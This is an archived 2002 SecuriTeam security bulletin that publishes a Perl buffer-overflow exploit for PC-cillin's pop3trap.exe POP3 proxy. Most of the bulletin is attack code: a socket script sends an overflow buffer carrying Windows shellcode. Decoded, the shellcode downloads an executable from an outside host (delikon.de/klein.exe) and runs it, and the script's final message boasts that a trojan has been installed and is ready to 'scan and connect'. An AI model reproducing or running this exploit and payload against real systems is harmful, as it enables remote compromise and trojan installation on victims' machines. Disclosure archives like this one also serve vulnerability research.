

# [EXPL] Pc-cillin pop3trap.exe Buffer Overflow Exploit

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-12/0066.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 12/20/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 20 Dec 2002 13:09:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

Pc-cillin pop3trap.exe Buffer Overflow Exploit

---

## SUMMARY

Pc-cillin pop3trap.exe buffer overflow exploit in perl. Return address is off a little making it a denial of service exploit, but could be tweaked to execute shellcode that downloads a Trojan.

## DETAILS

Exploit:

```
#!/usr/bin/perl
```

```
#pc-cillin DOS..will add shellcode l8r..
```

```
use IO::Socket;
```

```
$buf = 1100;
```

```
$host = $ARGV[0];
```

```
$port = $ARGV[1];
```

```
#shellcode needs to be modded..
```

```
#return addr is in the shellcode; doesn't work? go figure..
```

Securiteam: [EXPL] Pc-cillin pop3trap.exe Buffer Overflow Exploit

Shellcode =

```
"\xF0\x00\x00\x00\x58\x55\x89\xE5\x81\xEC\x2C\x00\x00\x00\x89\x45\xD4\xC7\x45\xFC".  
"\x00\x00\xE7\x77\x8B\x45\xFC\x66\x81\x38\x4D\x5A\x75\x7C\x05\x3C\x00\x00\x00\x8B".  
"\x18\x03\x5D\xFC\x66\x81\x3B\x50\x45\x75\x6B\x81\xC3\x78\x00\x00\x00\x8B\x33\x03".  
"\x75\xFC\x81\xC6\x18\x00\x00\x00\xAD\x89\x45\xF4\xAD\x03\x45\xFC\x89\x45\xF0\xAD".  
"\x03\x45\xFC\x89\x45\xEC\xAD\x03\x45\xFC\x89\x45\xE8\x31\xFF\x8B\x45\xD4\x05\x0F".  
"\x00\x00\x00\x89\x45\xDC\xC7\x45\xD8\x0D\x00\x00\x00\xE8\x2D\x00\x00\x00\x8B\x55".  
"\xDC\x89\x55\xE0\x8B\x45\xD4\x89\x45\xDC\xC7\x45\xD8\x0F\x00\x00\x00\xE8\x15\x00".  
"\x00\x00\x8B\x55\xDC\x89\x55\xE4\x8B\x45\xE0\x89\xD3\xE9\x77\x00\x00\x00\xE9\xF6".  
"\x00\x00\x00\x31\xC0\x89\x45\xF8\x8B\x7D\xF8\x3B\x7D\xF4\x7D\x43\x47\x89\x7D\xF8".  
"\x31\xC0\x8B\x45\xF8\xC1\xE0\x02\x8B\x5D\xEC\x01\xC3\x8B\x03\x03\x45\xFC\x89\xC7".  
"\x8B\x75\xDC\x8B\x4D\xD8\xF3\xA6\x75\xD6\x31\xC0\x8B\x45\xF8\xD1\xE0\x8B\x5D\xE8".  
"\x01\xC3\x31\xC0\x66\x8B\x03\xC1\xE0\x02\x8B\x5D\xF0\x01\xD8\x8B\x18\x03\x5D\xFC".  
"\x89\x5D\xDC\xC3\xE8\x0B\xFF\xFF\xFF\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72".  
"\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\xE9\x82\x00".  
"\x00\x00\x5F\x55\x89\xE5\x81\xEC\x1C\x00\x00\x00\x89\x45\xE8\x89\x5D\xE4\x89\x7D".  
"\xFC\xC7\x45\xEC\x06\x00\x00\x00\x8B\x45\xFC\x89\x45\xF4\x05\x46\x00\x00\x00\x89".  
"\x45\xF0\xE8\x27\x00\x00\x00\xC7\x45\xEC\x03\x00\x00\x00\x8B\x45\xFC\x05\x4C\x00".  
"\x00\x00\x89\x45\xF4\x05\x3C\x00\x00\x00\x89\x45\xF0\xE8\x08\x00\x00\x00\x8B\x45".  
"\xFC\xE9\xCB\x00\x00\x00\x8B\x45\xF4\x50\xFF\x55\xE8\x85\xC0\x74\x20\x89\x45\xF8".  
"\x8B\x75\xF0\x8B\x4D\xEC\x8B\x5D\xF4\x31\xC0\xAC\x01\xC3\x8B\x45\xF8\x60\x53\x50".  
"\xFF\x55\xE4\x89\x03\x61\xE2\xEA\xC3\x90\xEB\xFD\xE8\x79\xFF\xFF\xFF\x6B\x65\x72".  
"\x6E\x65\x6C\x33\x32\x2E\x64\x6C\x6C\x00\x56\x69\x72\x74\x75\x61\x6C\x41\x6C\x6C".  
"\x6F\x63\x00\x5F\x6C\x63\x72\x65\x61\x74\x00\x5F\x6C\x77\x72\x69\x74\x65\x00\x5F".  
"\x6C\x63\x6C\x6F\x73\x65\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x45\x78\x69\x74\x50".  
"\x72\x6F\x63\x65\x73\x73\x00\x0D\x1A\x22\x2A\x32\x3A\x77\x69\x6E\x69\x6E\x65\x74".  
"\x2E\x64\x6C\x6C\x00\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x00\x49".  
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x00\x49\x6E\x74\x65".  
"\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69\x6C\x65\x00\x0C\x1A\x2B\x90\x31\xC0\x50".  
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x3A\xE9\xE9\x00\x00\x00\x5E\x89\x86\x6A\x00\x00".  
"\x00\x68\x04\x00\x00\x00\x68\x00\x10\x00\x00\x68\x9F\x86\x01\x00\x68\x00\x00\x00".  
"\x00\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x0D\x89\x86\x00\x00\x00\x00\x31\xC0\x50\x50".  
"\x50\x50\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x58\x89\x86\x04\x00\x00\x00\x31\xC0".  
"\x50\x50\x50\x50\x8D\x86\x08\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B\x8E".  
"\x6A\x00\x00\x00\xFF\x51\x66\x89\x86\x04\x00\x00\x00\x8D\x86\x62\x00\x00\x00\x50".  
"\x68\x9F\x86\x01\x00\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x04\x00\x00\x00\x50\x8B".  
"\x8E\x6A\x00\x00\x00\xFF\x51\x77\x68\x00\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50".  
"\x8B\x8E\x6A\x00\x00\x00\xFF\x51\x1A\x89\x86\x66\x00\x00\x00\x8B\x86\x62\x00\x00".  
"\x00\x50\x8B\x86\x00\x00\x00\x00\x50\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00".  
"\x00\x00\xFF\x51\x22\x8B\x86\x66\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF\x51".  
"\x2A\x68\x05\x00\x00\x00\x8D\x86\x58\x00\x00\x00\x50\x8B\x8E\x6A\x00\x00\x00\xFF".  
"\x51\x32\xE9\x06\xFF\xFF\xFF\xE8\x12\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00".  
"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x64\x65\x6C\x69\x6B\x6F\x6E\x2E\x64".  
"\x65\x2F\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00".  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".  
"\x6B\x6C\x65\x69\x6E\x2E\x65\x78\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00".  
"\x00\x00\x90";
```

```
print "\n Pc-cillin DOS..for pop3trap.exe\n";  
if (!$ARGV[1]) {
```

## Securiteam: [EXPL] Pc-cillin pop3trap.exe Buffer Overflow Exploit

```
print "Usage: perl $0 <host> <port>\n";
die "E.G. perl $0 localhost 110\n";
}
print "formatting exploit string..\n";
sleep 2;
for ($i =0; $i < $buf - length($shellcode); $i++){
    $exploit .= "A";
}
$exploit .= $shellcode;

print "Connecting to: $host ....\n";
$sox = IO::Socket::INET->new(
    Proto=>"tcp",
    PeerPort=>"$port",
    PeerAddr=>"$host"
);
sleep 1;
print $sox $exploit;
sleep 2;
close $sox;
print "Done..trojan is been downloaded onto system, give it a min or two
then scan and connect ;) \n";
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[deadbeat@hush.com](mailto:deadbeat@hush.com)> deadbeat.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.